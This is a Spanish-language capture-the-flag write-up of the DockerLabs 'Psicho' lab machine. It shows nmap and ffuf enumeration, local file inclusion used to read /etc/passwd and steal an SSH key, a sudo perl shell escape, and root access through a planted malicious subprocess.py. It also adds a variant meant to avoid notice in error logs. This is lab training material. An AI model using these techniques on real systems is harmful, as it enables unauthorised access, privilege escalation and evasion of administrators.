Psicho, DockerLabs
Herramientas y recursos
En este reto de DockerLabs calificado como facil vamos a enumerar , localizar un file inclussion , abuso de sudo .
| Tecnicas | Herramientas |
|---|---|
| scan de puertos | nmap |
| Busqueda de parametro | ffuf |
| Local File inclusion | curl , brave |
| abuso de sudo | GTFObins , searchbins |
| Python Library Hijacking | echo , nano |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX psicho
Como muestra el reporte tenemos el el 22 ssh y el 80 ** , entramos a la web y revisamos manualmente a ver si nos han dejado alguna pista del lfi. No se ve nada execpto un comentario mal puesto que nos incita a pensar que el lfi esta aqui mismo asi que sin mas demora le tiramos un **ffuf
1
ffuf -u http://172.17.0.2/index.php\?FUZZ\=id -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -c -fs 2596
- -w Le damois el diccionario
- -c Le damos color a la salida
- -fs Le inidicamos que no nos muestre nada de lo que tenga ese tamaño “file size”
Ya conociendo el parametro podemos regresar a la web para ver que podemos leer y si pudiesemos escalarlo a un log poisoning , despues de una prubas descarto el log poisoning , viendo el /etc/passwd conseguimos los usarios asi que vamos a ver sus ficheros.
Revisando los usaurios encontre una clave id_rsa lo que en principio nos va a permitir conectarnos por ssh al usuario que la tenia en este caso vaxei.
Nos la copiamos a nuestra maquina.
1
echo 'la clave' > id_rsa
Probemos a ver si traga.
1
chmod 600 id_rsa
No no olvidemos aunque siempre hay algo que si lo observamos nos indica el error.
Estamos dentro y en la imagen podeis ver que nos ha dejado perl para realizar movimiento lateral a luisillo asi que seguimos los pasos de gtofbins.
1
sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'
Una vez dentro y como accedimos a sh ejecuto los exports correspondientes y obtengo una bash funcional y posteriomente los comando tipicos.
Nos ha dejado un script en python que no podemos modificar pero en cambio podemos escribir en el mismo directorio , vamos a revisar los imports que hace y vamos a colarle una libreira falsa o maliciosa :-).
Mirando el script creo que deberia aprovecharme de subprocess.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import subprocess
import os
import sys
import time
# F
def dummy_function(data):
result = ""
for char in data:
result += char.upper() if char.islower() else char.lower()
return result
# Código para ejecutar el script
os.system("echo Ojo Aqui")
# Simulación de procesamiento de datos
def data_processing():
data = "This is some dummy data that needs to be processed."
processed_data = dummy_function(data)
print(f"Processed data: {processed_data}")
# Simulación de un cálculo inútil
def perform_useless_calculation():
result = 0
for i in range(1000000):
result += i
print(f"Useless calculation result: {result}")
def run_command():
subprocess.run(['echo Hello!'], check=True)
def main():
# Llamadas a funciones que no afectan el resultado final
data_processing()
perform_useless_calculation()
# Comando real que se ejecuta
run_command()
if __name__ == "__main__":
main()
Si nos fijamos bien el script nos dice bien claro que la unica funcion que se ejecuta es run_command (o eso entiendo yo) , que es la que usa subprocess y es a su vez la que manda los comando al sistema operativo. La cuestion es que el script solo ejecuta un comando en subprocess y esa es la unica puerta abierta, podriamos usar time pero solo lo pausariamos la ejecucion e incluso podriamos tratar de replicar os si llamara a algun lugar para ejecutar e incluso leer archivos del sistema , no obstante si el script no ejecuta un comando con la libreria que secuestramos nunca usara nuestro codigo malicioso.
Una vez aclarados algunos conceptos que me desconcertaban creo la libreria y ejecuto.
1
2
echo 'import os; os.system("/bin/bash")' > /opt/subprocess.py
sudo -u root /usr/bin/python3 /opt/paw.py
Obtenemos la shell la de root
Si nos damos cuenta cuando salimos de root vemos que el script fallo , si tiene un loging de error el admin podria darse cuenta y seria interesante que el script continuara su ejecucion con normalidad despues de ejecutar nuestra libreria maliciosa, para ello podriamos emplear un codigo un poco mas elaborado no mucho mas y con consulta a la IA , no soy programador.
1
2
3
4
5
6
import os
def run(cmd, check=True):
# Aquí puedes ejecutar lo que quieras
os.system("/bin/bash -p")
print(f"Interceptado: {cmd}")
Ejecuntando sin errores aparentes con este ultimo codigo
Ejecutado con error pero funcionando igualmente y con el codigo de siempre.
Ahora si hasta aqui esta maquinita , aprender, disfrutar, y compartir , muchas gracias por leer.











Comments powered by Disqus.